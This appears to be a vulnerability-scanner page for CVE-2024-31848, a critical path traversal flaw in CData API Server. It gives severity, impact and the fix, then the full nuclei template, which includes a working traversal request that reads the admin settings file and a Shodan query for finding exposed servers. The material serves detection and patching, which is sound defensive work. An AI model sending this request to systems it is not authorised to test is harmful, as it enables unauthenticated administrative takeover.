CData API Server < 23.4.8844 - Path Traversal

criticalseverity

9.8CVSS score

8.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

Impact

Unauthenticated attackers can exploit path traversal to gain complete administrative access to the CData API Server.

Fix

Update CData API Server to version 23.4.8844 or later.

How to confirm it

Send: GET {{BaseURL}}/login.rst
Positive when: contains "<title>CData - API Server</title>"
Send: GET /ui/..\src\getSettings.rsb?@json
Positive when: contains "\"items\":[{" and ":\"true\"" and "notifyemail" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-31848 -u <target>

The full check

id: CVE-2024-31848

info:
  name: CData API Server < 23.4.8844 - Path Traversal
  author: pussycat0x
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  impact: |
    Unauthenticated attackers can exploit path traversal to gain complete administrative access to the CData API Server.
  remediation: |
    Update CData API Server to version 23.4.8844 or later.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31848
    - https://github.com/Stuub/CVE-2024-31848-PoC/blob/main/CVE-2024-31848.py
    - https://www.tenable.com/cve/CVE-2024-31848
    - https://www.tenable.com/security/research/tra-2024-09
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31848
    cwe-id: CWE-22
    epss-score: 0.08086
    epss-percentile: 0.94858
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData - API Server\""
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData - API Server</title>'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from